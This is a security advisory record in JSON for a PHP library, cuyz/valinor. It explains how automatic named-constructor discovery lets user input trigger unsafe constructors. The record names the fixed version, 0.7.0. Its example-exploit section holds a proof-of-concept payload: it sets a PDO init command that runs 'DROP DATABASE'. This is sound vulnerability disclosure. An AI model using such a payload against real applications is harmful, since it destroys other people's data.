{"id":"GHSA-xhr8-mpwq-2rr2","aliases":[],"url":"https://o3.security/vulnerability/GHSA-xhr8-mpwq-2rr2","summary":"Automatic named constructor discovery in Valinor","details":"## Design issue - automatic constructor discovery\n\nThe issue arises when upgrading from `cuyz/valinor:0.3.0` to a newer system on an existing application, which broke due to the wrong constructor being picked.\n\nStill, a bigger security concern is problematic, and it is akin to https://github.com/rails/rails/issues/5228.\n\n## Example exploit\n\nTake following DTO example:\n\n```php\nfinal class UserDTO\n{\n    public function __construct(\n        public int $id,\n        public string $name\n    ) {}\n    public static function fromDb(\n        PDO $connection,\n        int $id\n    ): self { /* ... code to fetch the DTO here ... */ }\n}\n```\n\nThere is nothing inherently unsafe about the above `UserDTO`, but when mixed with `cuyz/valinor:^0.5.0` ( specifically https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b ), it is an explosive mix:\n\n```php\n// this could be coming from user input:\n$maliciousPayload = [\n    'connection' => [\n      'dsn' => 'mysql:host=some-host;database=some-database',\n      'username' => 'root',\n      'password' => 'root',\n      'options' => [\n        // PDO::MYSQL_ATTR_INIT_COMMAND === 1002\n        1002 => 'DROP DATABASE all-the-moneys'\n      ]\n    ],\n    'id' => 123,\n];\n\n$treeMapper->map(\n  UserDTO::class,\n  $maliciousPayload\n); // your DB is gone :D\n```\n\nThe above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded.\n\n## Mitigation\n\nVersion 0.7.0 contains a patch for this issue.\n\nAutomatic named constructor resolution should be disabled - only explicitly mapped named constructors should be used/discovered.","published":"2022-04-01T13:39:45Z","modified":"2024-12-05T05:34:24.161317Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"cuyz/valinor","fixedVersion":"0.7.0"}],"fix":{"url":"https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b","label":"CuyZ/Valinor@718d3c1"},"references":[{"type":"WEB","url":"https://github.com/CuyZ/Valinor/security/advisories/GHSA-xhr8-mpwq-2rr2"},{"type":"WEB","url":"https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b"},{"type":"PACKAGE","url":"https://github.com/CuyZ/Valinor"},{"type":"WEB","url":"https://github.com/CuyZ/Valinor/releases/tag/0.7.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2024-12-05T05:34:24.161317Z"}}